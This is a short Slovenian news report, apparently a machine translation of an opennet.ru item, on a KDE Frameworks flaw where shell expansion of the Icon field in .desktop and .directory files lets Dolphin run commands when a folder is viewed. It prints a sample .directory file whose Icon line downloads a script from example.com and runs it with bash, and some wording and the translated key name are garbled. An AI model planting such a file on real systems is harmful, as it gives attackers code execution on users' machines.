Ranljivost pri izvajanju kode KDE pri ogledu seznama datotek

V KDE ugotovljeno ranljivost, ki napadalcu omogoča izvajanje poljubnih ukazov, ko si uporabnik ogleduje imenik ali arhiv, ki vsebuje posebej oblikovane datoteke ».desktop« in ».directory«. Napad zahteva, da si uporabnik preprosto ogleda seznam datotek v upravitelju datotek Dolphin, prenese zlonamerno namizno datoteko ali povleče bližnjico na namizje ali v dokument. Težava se kaže v trenutni izdaji knjižnic KDE okviri 5.60.0 in starejše različice, do KDE 4. Ranljivost je še vedno prisotna ostanki nepopravljeno (CVE ni dodeljen).

Težavo povzroča nepravilna implementacija razreda KDesktopFile, ki pri obdelavi spremenljivke “Icon” brez ustreznega ubežanja posreduje vrednost funkciji KConfigPrivate::expandString(), ki izvede razširitev posebnih znakov lupine, vključno z obdelavo nize “$(..)” kot ukaze, ki jih je treba izvesti. V nasprotju z zahtevami specifikacije XDG izvedba razkritje konstrukcije lupine so izdelane brez ločevanja vrste nastavitev, tj. ne samo pri določanju ukazne vrstice aplikacije, ki jo želite zagnati, ampak tudi pri določanju privzeto prikazanih ikon.

Na primer za napad zadostuje pošlji uporabniku arhiv zip z imenikom, ki vsebuje datoteko ».directory«, kot je:

[Desktop Entry]
Type=Directory
Ikona[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

Ko si poskušate ogledati vsebino arhiva v upravitelju datotek Dolphin, se prenese in izvede skript https://example.com/FILENAME.sh.


Vir: opennet.ru

Dodaj komentar